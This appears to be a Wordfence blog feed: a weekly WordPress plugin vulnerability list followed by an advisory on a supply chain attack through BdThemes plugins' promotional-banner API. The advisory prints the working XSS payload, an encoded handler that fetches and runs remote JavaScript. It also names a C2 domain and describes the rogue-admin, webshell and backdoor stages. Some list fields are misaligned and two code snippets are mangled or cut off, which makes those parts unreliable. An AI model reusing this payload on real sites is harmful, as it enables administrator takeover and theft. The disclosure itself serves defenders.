Element Pack Addons for Elementor – Elementor Widgets, Elementor Templates, Elementor Addons [bdthemes-element-pack-lite]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-13345

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Essential Addons for Elementor – Popular Elementor Templates & Widgets [essential-addons-for-elementor-lite]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-14822

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

Event Tickets and Registration [event-tickets]

Researcher

Minar

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-66438

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Exclusive Addons for Elementor [exclusive-addons-for-elementor]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-17567

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder [fluentform]

Researcher

ChinhNguyen

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65523

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Formidable Forms Signature Online Contract Automation [forms-signature-formidable-online-contract-automation]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-66477

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Gillion | Multi-Concept Blog/Magazine & Shop WordPress AMP Theme [gillion]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-11995

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Gutena Forms – Contact Form, Survey Form, Feedback Form, Booking Form, and Custom Form Builder [gutena-forms]

Researcher

Endang Alfarisi

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-61976

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

JetBlocks for Elementor [jet-blocks]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-61975

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

JetReviews [jet-reviews]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-61977

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

JetSearch [jet-search]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-4604

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Klubraum Membership Request [klubraum-membership-request]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-18436

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

MailerPress – Email Marketing, Newsletter, Email Automation & WooCommerce Emails [mailerpress]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-18437

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

MailerPress – Email Marketing, Newsletter, Email Automation & WooCommerce Emails [mailerpress]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-14839

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

Mapster WP Maps [mapster-wp-maps]

Researcher

Alexander Jurkschat

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-28145

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

MasterStudy LMS WordPress Plugin – for Online Courses and Education [masterstudy-lms-learning-management-system]

Researcher

PDFDraft – Drag & Drop PDF Builder, PDF Viewer, Embed & Download PDF, Certificate & Invoice Designer [pdfdraft]

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-12124

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Researcher

sl4x0

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-1982

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

المنتور فارسی [persian-elementor]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-13604

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

Pixelavo – Server Side Tracking & Pixel + AI Ads Tools [pixelavo]

Researcher

Md Amin Ullah Sheikh

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-18059

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

PixelYourSite – Your smart PIXEL (TAG) & API Manager [pixelyoursite]

PixelYourSite Pro – Your smart PIXEL (TAG) Manager [pixelyoursite-pro]

Researcher

Win3

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-16285

Patch Status

Patched

Published
Aug 2, 2026

Affected Software

Product Attachment for WooCommerce [woo-product-attachment]

Researcher

Kevin

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15257

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login [custom-registration-form-builder-with-submission-manager]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15255

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

RegistrationMagic – Custom Registration Forms, User Registration, Payment, and User Login [custom-registration-form-builder-with-submission-manager]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-61972

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

ShopLentor Pro [woolentor-addons-pro]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65542

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Social Share, Social Login and Social Comments Plugin – Super Socializer [super-socializer]

Researcher

Nguyen Dinh Hai (HaiND)

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65541

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Staff Training [staff-training]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-13110

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

StoreGrowth – Upsell, BOGO, Quick View, Direct Checkout & Side Cart for WooCommerce [storegrowth-sales-booster]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-15411

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

StoreGrowth – Upsell, BOGO, Quick View, Direct Checkout & Side Cart for WooCommerce [storegrowth-sales-booster]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-65435

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Thrive Leads [thrive-leads]

Researcher

Dave Jong

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-25403

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Ultimate Store Kit – Addon For WooCommerce, EDD and Elementor [ultimate-store-kit]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-66701

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

User Profile Builder – Beautiful User Registration Forms, User Profiles & User Role Editor [profile-builder]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-66695

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

W3 Total Cache [w3-total-cache]

Researcher

Mykel Nelson

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2025-14073

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

WooCommerce PayPal Payments [woocommerce-paypal-payments]

Researcher

Drew Webber (mcdruid)

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-14305

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

WP Delicious – Recipe Plugin for Food Bloggers (formerly Delicious Recipes) [delicious-recipes]

Researcher

Pedro Pinho

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-16774

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

WPBot – AI ChatBot for Live Support, Lead Generation, AI Services [chatbot]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-16773

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

WPBot – AI ChatBot for Live Support, Lead Generation, AI Services [chatbot]

Researcher

CVSS Rating
5.3 (Medium)

CVE-ID

CVE-2026-66473

Patch Status

Unpatched

Published
Jul 27, 2026

Affected Software

Xendit Payment [woo-xendit-virtual-accounts]

Researcher

CVSS Rating
5.0 (Medium)

CVE-ID

CVE-2026-11598

Patch Status

Unpatched

Published
Jul 27, 2026

Affected Software

Shortcodify [shortcodify]

Researcher

zakaria

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-66427

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

WP Google Review Slider [wp-google-places-review-slider]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-16614

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

GSheetConnector – CF7 Google Sheets Connector & Save CF7 Entries to Database [cf7-google-sheets-connector]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15951

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Icegram Mailer – Reliable Email Deliverability, No-code SMTP Replacement & Email logs [icegram-mailer]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15601

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Kirki – Freeform Page Builder, Website Builder & Customizer [kirki]

Researchers

cuokon

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15403

Patch Status

Unpatched

Published
Jul 31, 2026

Affected Software

Pinpoint Booking System – Version 2 [booking-system]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-16811

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

ShopLentor – All-in-One WooCommerce Growth & Store Enhancement Plugin [woolentor-addons]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15671

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery [sms-alert]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15670

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery [sms-alert]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-5114

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

SpeedyCache – Cache, Optimization, Performance [speedycache]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15444

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-6089

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

WP CTA – Call Now Button, Sticky Button & Call to Action Builder [easy-sticky-sidebar]

Researchers

Nguyen Quang Truong

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-15344

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

WP Photo Album Plus [wp-photo-album-plus]

Researcher

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-11973

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

WP-Lister Lite for eBay [wp-lister-for-ebay]

Researchers

Yousof Nahya

Hamza Nour

Yousof Nahya (whoami03)

CVSS Rating
4.9 (Medium)

CVE-ID

CVE-2026-17555

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

WPvivid — Backup, Migration & Staging [wpvivid-backuprestore]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2025-15669

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

Bit Form – Contact Form, Payment Forms, Multi Step Forms, Calculator & Custom Form Builder [bit-form]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2025-15675

Patch Status

Patched

Published
Aug 2, 2026

Affected Software

Charitable – Donation & Fundraising Platform (Donation Forms, Recurring Donations & Fundraising Campaigns) [charitable]

Researcher

Krugov Artyom

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-66475

Patch Status

Unpatched

Published
Jul 27, 2026

Affected Software

Checkout Field Editor for WooCommerce – Checkout Manager [checkout-field-editor-and-manager-for-woocommerce]

Researcher

CVSS Rating
4.4 (Medium)

CVE-ID

CVE-2026-15673

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

SMS Alert – SMS & OTP for WooCommerce, Order Notifications & Abandoned Cart Recovery [sms-alert]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-16587

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Advanced Form Integration — Connect Forms to 200+ Apps [advanced-form-integration]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65554

Patch Status

Unpatched

Published
Jul 29, 2026

Affected Software

AnsPress – Question and answer [anspress-question-answer]

Researcher

Taylsec

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14214

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

Booking for Appointments and Events Calendar – Amelia [ameliabooking]

Researcher

Manuel Martínez Casasola

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14195

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

Brizy – Page Builder [brizy]

Researcher

Pablo González and Fran Ramírez

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-11872

Patch Status

Unpatched

Published
Aug 2, 2026

Affected Software

Clever Mega Menu for Visual Composer [clever-mega-menu]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66692

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Colissimo shipping methods for WooCommerce [colissimo-shipping-methods-for-woocommerce]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15136

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

WPLP Cookie Consent – Cookie Banner & Consent Management for GDPR, CCPA & Google Consent Mode [gdpr-cookie-consent]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66699

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Dokan: AI Powered WooCommerce Multivendor Marketplace Solution – Build Your Own Amazon, eBay, Etsy [dokan-lite]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14188

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14226

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

Phyo Ko Ko

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14223

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

Mark Moore

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14224

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

Duy Tran

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14222

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

WEI HSIANG WANG

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14221

Patch Status

Unpatched

Published
Jul 30, 2026

Affected Software

Easy Appointments [easy-appointments]

Researcher

Youssef massoudi

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-16064

Patch Status

Patched

Published
Aug 2, 2026

Affected Software

Event Booking Manager for WooCommerce – Sell Tickets, Event Registration, RSVP & Event Calendar [mage-eventpress]

Researcher

Yaswanth Reddy Sunkara

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-17166

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Event Booking Manager for WooCommerce – Sell Tickets, Event Registration, RSVP & Event Calendar [mage-eventpress]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14823

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

Event Tickets and Registration [event-tickets]

Researcher

Shivamani Vastrala

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-9720

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Facturación Electrónica Costa Rica [factura-electronica-cr]

Researcher

swat

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15151

Patch Status

Patched

Published
Aug 2, 2026

Affected Software

Five Star Restaurant Reservations – WordPress Booking Plugin [restaurant-reservations]

Researcher

Minar

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14197

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

Fluent Support – Helpdesk & Customer Support Ticket System [fluent-support]

Researcher

FuseWP – WordPress User Sync to Email List & Marketing Automation (Mailchimp, Constant Contact, ActiveCampaign etc.) [fusewp]

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14938

Patch Status

Patched

Published
Aug 2, 2026

Affected Software

FluentBoards – Project Management, Task Management, Goal Tracking, Kanban Board, and, Team Collaboration [fluent-boards]

Researcher

Diogo Pinto

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-16292

Patch Status

Unpatched

Published
Aug 2, 2026

Affected Software

Frontend File Manager Plugin [nmedia-user-file-uploader]

Researcher

Yaswanth Reddy Sunkara

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-59560

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

FundEngine – Donation and Crowdfunding Platform [wp-fundraising-donation]

Researcher

Septio Noerdiansyah

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-5582

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Researcher

Deadbee

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66428

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

WP Google Review Slider [wp-google-places-review-slider]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66474

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Insert Headers and Footers Code – HT Script [insert-headers-and-footers-script]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-2916

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Jeg Kit for Elementor – Powerful Addons for Elementor, Widgets & Templates for WordPress [jeg-elementor-kit]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66696

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Kadence Blocks — Page Builder Toolkit for Gutenberg Editor [kadence-blocks]

Researcher

Points Management System For Gamification, Ranks, Badges, and Loyalty Rewards Program – myCred [mycred]

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14231

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

LifterLMS – WP LMS for eLearning, Online Courses, & Quizzes [lifterlms]

Researcher

Daniel Púa – devploit

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-16042

Patch Status

Patched

Published
Aug 2, 2026

Affected Software

LWS Optimize – All-in-One Speed Booster & Cache Tools [lws-optimize]

Researcher

Omar Elshopky

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15248

Patch Status

Patched

Published
Aug 2, 2026

Affected Software

Meta Box [meta-box]

Researcher

Simon Tran

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-61968

Patch Status

Patched

Published
Jul 29, 2026

Affected Software

Researcher

Riyas M S

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-13729

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

Podlove Podcast Publisher [podlove-podcasting-plugin-for-wordpress]

Researcher

Ryan Fabella

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-16291

Patch Status

Patched

Published
Aug 2, 2026

Affected Software

ProfileGrid – User Profiles, Groups and Communities [profilegrid-user-profiles-groups-and-communities]

Researcher

Meher Sudhakar Abbireddi

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-10782

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

RealHomes Memberships [inspiry-memberships]

Researcher

dyingman

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65433

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

RT Mega Menu – Mega Menu Builder for Elementor & Gutenberg [rt-mega-menu]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-15252

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Search Atlas SEO – Premier SEO Plugin for One-Click WP Publishing & Integrated AI Optimization [metasync]

Researcher

LevinityCyber

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-16797

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

ShopLentor – All-in-One WooCommerce Growth & Store Enhancement Plugin [woolentor-addons]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-61973

Patch Status

Patched

Published
Aug 1, 2026

Affected Software

ShopLentor Pro [woolentor-addons-pro]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-5626

Patch Status

Patched

Published
Jul 28, 2026

Affected Software

Survey Form Block – collect answers and insights from your audience [survey-form-block]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14923

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Sync Post With Other Site [sync-post-with-other-site]

Researcher

Shikhali Jamalzade

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2025-14469

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

Theme Editor [theme-editor]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-14310

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

Tutor LMS – eLearning and online course solution [tutor]

Researcher

Sanjar Tulkinov

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-61971

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

User Profile Picture [metronet-profile-picture]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65543

Patch Status

Unpatched

Published
Jul 28, 2026

Affected Software

Vimeo [vimeo]

Researcher

0xzenko

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-28144

Patch Status

Patched

Published
Jul 31, 2026

Affected Software

WP Maps – Google Maps,OpenStreetMap,Mapbox,Store Locator,Listing,Directory & Filters [wp-google-map-plugin]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-13145

Patch Status

Patched

Published
Jul 30, 2026

Affected Software

WP Travel – Ultimate Travel Booking System, Tour Management Engine [wp-travel]

Researcher

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-66442

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

YayPricing – WooCommerce Dynamic Pricing & Discounts [yaypricing]

Researcher

K. Sorrachat

CVSS Rating
4.3 (Medium)

CVE-ID

CVE-2026-65434

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

ЮKassa для WooCommerce [yookassa]

Researcher

CVSS Rating
4.1 (Medium)

CVE-ID

CVE-2026-4912

Patch Status

Patched

Published
Jul 27, 2026

Affected Software

Media Cleaner: Clean your WordPress! [media-cleaner]

Researcher

lucsob

As a reminder, Wordfence has curated an industry leading vulnerability database with all known WordPress core, theme, and plugin vulnerabilities known as Wordfence Intelligence.

This database is continuously updated, maintained, and populated by Wordfence’s highly credentialed and experienced vulnerability researchers through in-house vulnerability research, vulnerability researchers submitting directly to us through our Bug Bounty Program, and by monitoring varying sources to capture all publicly available WordPress vulnerability information and adding additional context where we can.

Click here to sign-up for our mailing list to receive weekly vulnerability reports like this and important WordPress Security reports in your inbox the moment they are published.

The post Wordfence Intelligence Weekly WordPress Vulnerability Report (August 3, 2026 to August 9, 2026) appeared first on Wordfence.

PSA: Supply Chain Compromise in BdThemes Ecosystem via Poisoned API Response

Simon Browning — Sat, 08 Aug 2026 19:45:45 +0000

The Wordfence Threat Intelligence Team was notified on August 7th, 2026 of a supply chain compromise affecting BdThemes, a WordPress plugin vendor whose plugins are available in the official WordPress plugins directory. Currently, all the affected plugins are temporarily closed pending a full inspection and ongoing investigation by the WordPress Plugins team.

Our investigation revealed an insidious supply chain compromise affecting several plugins. Unlike traditional software supply chain attacks, zero source code files were modified within the official WordPress.org repository. Instead, threat actors poisoned a static remote JSON data stream fetched by an administrative promotional banner component.

As part of our product lineup, we offer security monitoring and malware removal services to our Wordfence Care and Response customers. In the event of a security incident, our incident response team will investigate the root cause, find and remove malware from your site, and help with other complications that may arise as a result of an infection. During the cleanup, malware samples are added to our Threat Intelligence database, which contains over 4.4 million unique malicious samples. The Wordfence plugin and Wordfence CLI scanner detect over 99% of these samples and indicators of compromise, when using the premium signatures set. Wordfence CLI can scan your site even if WordPress is no longer functional and is an excellent layer of security to implement at the server-level, part of our mission to secure the web by Defense in Depth.

Vulnerability Summary from Wordfence Intelligence

CVSS Rating
5.4 (Medium)

Patch Status

Unpatched

Affected Software

Element Pack Addons for Elementor – Elementor Widgets, Elementor Templates, Elementor Addons [bdthemes-element-pack-lite]

Live Copy Paste for Elementor – Cross Domain Copy Paste & Page Duplicator [live-copy-paste]

Pixel Gallery Addons for Elementor – Easy Grid, Creative Gallery, Drag and Drop Grid, Custom Grid Layout, Portfolio Gallery [pixel-gallery]

Prime Slider Addons for Elementor – Widgets, Templates & Elementor Addons [bdthemes-prime-slider-lite]

Smart Admin Assistant – Dashboard and Site Enhancements [smart-admin-assistant]

Ultimate Post Kit Addons for Elementor [ultimate-post-kit]

Ultimate Store Kit – Addon For WooCommerce, EDD and Elementor [ultimate-store-kit]

Researcher(s): Unknown

The Biggop Library is vulnerable to Cross-Site Scripting via the ‘display_id’ parameter from the Sigmative API in various versions due to insufficient output escaping. This makes it possible for attackers who can compromise the Sigmative API server to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Technical Analysis

BdThemes plugins ship with a component called Biggopti, an internal system that pulls promotional banners from their API server and renders them in the WordPress admin dashboard. The API is backed by a static DigitalOcean Spaces bucket protected by Cloudflare. It isn’t a dynamic application server: it’s flat JSON files served from object storage.

A cross-site scripting (XSS) vulnerability was introduced by the plugin authors in the JSON response parsing code; rogue actors obtained write access to that bucket replacing the legitimate JSON responses with crafted payloads to exploit that vulnerability. The XSS fires inside every logged-in admin’s browser, silently, on every wp-admin page load. From there, the injected script creates rogue administrator accounts, uploads a webshell plugin, and phones home to a command-and-control (C2) server.

No plugin update is required to become a victim. No file is modified on disk. The attack is entirely API-driven, invisible to file-based integrity scanners and barely visible to Web Application Firewalls.

XSS Vulnerability Exposed To Administrators

Every BdThemes plugin utilizing the Biggopti system enqueues a client-side JavaScript asset on admin_init, causing it to execute unconditionally on every single wp-admin page load. This script fetches promotional banner data from the vendor’s API endpoint. When the script constructs the HTML notice container in the Document Object Model (DOM), it concatenates the display_id field from the remote JSON response directly into an HTML id attribute without client-side escaping:

// unescaped
var f = t.display_id || t.id || "default";

// injected in DOM
var m = "bdt-admin-biggopti-api-biggopti-" + f;
A = 'id="' + m + '"';

What appears to be an oversight is proven later in the same code, where the data-display-id attribute is properly escaped, albeit with a convoluted structure that might be the outcome of minification/bundling:

var e = function(t) { return p(t) };
function p(t){return(t||"").replace(/&/g,"&").replace(//g,">").replace(/"/g,""")}
// [...]
A += ' data-display-id="' + e(f) + '"'

SVN commit history reveals this unescaped attribute injection was introduced on March 1st, 2026, in Prime Slider (bdthemes-prime-slider-lite) version 4.1.9 and then applied to other plugins. While later releases introduced a DOMParser-based sanitizer for the banner’s content field (stripping dangerous HTML tags and inline handlers) the id attribute injection remained unescaped.

An unauthorized actor with write access to the vendor’s storage bucket replaced legitimate JSON responses with crafted payloads. The injected display_id breaks out of the id attribute and inserts an onanimationstart event handler triggered by a CSS animation within 10 milliseconds, firing silently whenever an administrator loads any dashboard page.

Excerpt from the API response (still served at the time of writing):

{"biggopti_class": "class-01kvw52snnwd7r8ge9aj80xnsw", "id": "1_01kvw52snnwd7r8ge9aj80xnsw_1784784572", "display_id": "SAFE\" onanimationstart=eval(String.fromCharCode(102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,97,112,105,46,115,105,103,109,97,116,105,118,101,46,105,111,47,112,114,111,100,47,115,116,111,114,101,47,97,112,105,47,98,105,103,103,111,112,116,105,47,120,46,106,115,63,95,61,49,39,41,46,116,104,101,110,40,114,61,62,114,46,116,101,120,116,40,41,41,46,116,104,101,110,40,116,61,62,110,101,119,32,70,117,110,99,116,105,111,110,40,116,41,40,41,41)) style=animation:wrapperSlideInTop .01s ease-out both", "type": "adminDashboard", "title": "Build more. Pay less. This Summer",

Multi-Stage Multi-Payload Architecture

The injected event handler initiates a multi-stage compromise by fetching external scripts based on the availability of the attacker’s infrastructure.

Primary Payload (w2.js)

The main payload is served to plugins using the api-data-all-records API endpoint. When w2.js executes within the authenticated administrator’s session, it performs the following sequence:

C2 Verification: It contacts the C2 server at ia-cdn[.]com/fz/c with the victim website’s origin to receive targeting instructions, aborting if the C2 returns a “skip” or “done” status.
Rogue Administrative Account Creation: Using X-WP-Nonce present in the active admin session, it creates a new administrator via the WordPress REST API, with fallback to standard form submissions.
Webshell Installation: It downloads a fake plugin ZIP from the C2 server and installs it via the standard plugin upload form. Disguised under the slug wp-smart-thumbnails or similar neutral-sounding slugs, this fake plugin contains a webshell named emer-run.php that is invoked directly by URL.
Must-Use (MU) Plugin Backdoors: Invoking emer-run.php installs two persistence modules into the Must-Use plugins directory. Both samples we obtained were backdated to September 2025 to blend with legitimate filesystem timestamps (filenames might change across infections). The first module is a magic-login backdoor allowing unauthenticated administrative entry via a URL parameter (?_wplogin=), targeting the site’s longest-registered administrator. The second module is an anti-analysis stealth module that hooks into WordPress database queries to hide the created rogue accounts from the administrative user list and decrement total user counts accordingly.
Exfiltration: All execution phase results are sent back to the C2 server via navigator.sendBeacon.

Alternate Payload (x.js)

The secondary script is found hosted directly on BdThemes’ infrastructure and is served to victims plugins using the api-data-records API endpoint. It generates deterministic administrative credentials mathematically derived from the victim website’s hostname.

function makeCreds(){
  var host=siteKey();
  var hash=0;
  for(var i=0;i
 
This algorithm produces predictable usernames (bd_ followed by a 6-character base36 hash) and passwords (Bd@26! followed by the hash and x), pairing them with an @wordpress.org email address. Because the credentials are deterministic, threat actors do not need to store compromised site lists centrally, and incident responders can compute the exact username and password to hunt for on suspected domains.
